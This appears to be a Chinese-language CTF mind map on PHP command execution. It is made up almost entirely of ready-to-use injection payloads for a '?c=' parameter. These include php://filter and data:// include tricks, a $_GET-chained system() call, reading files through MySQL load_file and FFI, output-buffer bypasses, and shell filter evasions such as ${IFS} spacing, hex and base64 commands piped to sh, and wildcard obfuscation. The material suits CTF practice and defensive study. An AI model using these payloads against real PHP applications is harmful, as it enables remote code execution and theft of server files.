php命令执行思维导图

php命令执行思维导图
fulian23
- 命令执行
- eval
- 调用系统命令
- echo exec(‘ls’);
- echo `ls`;
- passthru(‘ls’);
- echo fread(popen(‘ls’, ‘r’), 4096);
- exec(‘ls’,$a);print_r($a);
- php函数
- 操作
- localeconv();//获取当前区域设置(第一个一般是当前目录)
- pos();//获取第一个元素
- scandir();//获取传入目录下的文件–>array
- implode(‘—‘,scandir(“/“)) //得到/目录的内容并用—分隔,字符串,用echo打印
- next();//下一个元素
- array_reverse();//列表倒序
- array_slice();//列表切割array_slice($array,start,length)
- 打印
- print_r();、var_dump();、var_export();打印出array数组
- show_source();、highlight_file();include();、readgzfile();//展示源码(如果是文件)
- 注入脚本
- ?c=?><?php $a=new DirectoryIterator(“glob:///*”);foreach($a as $f){echo($f->__toString().’ ‘);} exit(0);?>//需要urlencode
- ?c=$a =”glob:///*”; if($b = opendir($a)){ while( ($file = readdir($b)) !== false ){ echo “filename:”.$file.””; } closedir($b); }exit;
- 多次传参绕过
- ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
- ?c=$_GET[1]($_GET[2]);&1=system&2=ls–>system(“ls”);似乎只能传字符串,$_GET[1]&1=system(“ls”);不行
- 无字母数字绕过
- 用脚本生成payload
- 缓冲区劫持
- 关键字:ob_end_clean(); 可用?c=include(‘/flag.txt’);ob_flush(); ob_flush(); –>将缓存区内容发送至浏览器,并清空 ob_end_flush();–>将缓存区内容发送至浏览器,并关闭缓冲区 exit();、die();–>直接退出,绕过缓冲区劫持
- mysql读取文件
- ?c=try {$dbh = new PDO(‘mysql:host=localhost;dbname=ctftraining’, ‘root’,’root’);foreach($dbh->query(‘select load_file(“/flag36.txt”)’) as $row){echo($row[0]).”|”; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);
- ffi读取(php7.4以上)
- $ffi = FFI::cdef(“int system(const char *command);”);//创建一个system对象 $a=’/readflag > 1.txt’;//没有回显的,readflag为flag文件 $ffi->system($a);//通过$ffi去调用system函数
- system
- 符号绕过
- ;
- %0a、||
- 空格
- ${IFS}、$IFS$9、{xxx,xxx}、<、<>、%20、%09
- 关键字绕过
- echo “63617420666c61672e706870”|xxd -r -p|sh–#hex
- echo “Y2F0IGZsYWcucGhw”|base64 -d|sh
- /bin/?at${IFS}f???????
- fl\ag、fl’’ag、fl$@ag、
- 无数字无字母
- 文件执行+POST缓存
- include
- data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
- data://text/plain,<?php system(“cat f*”);?>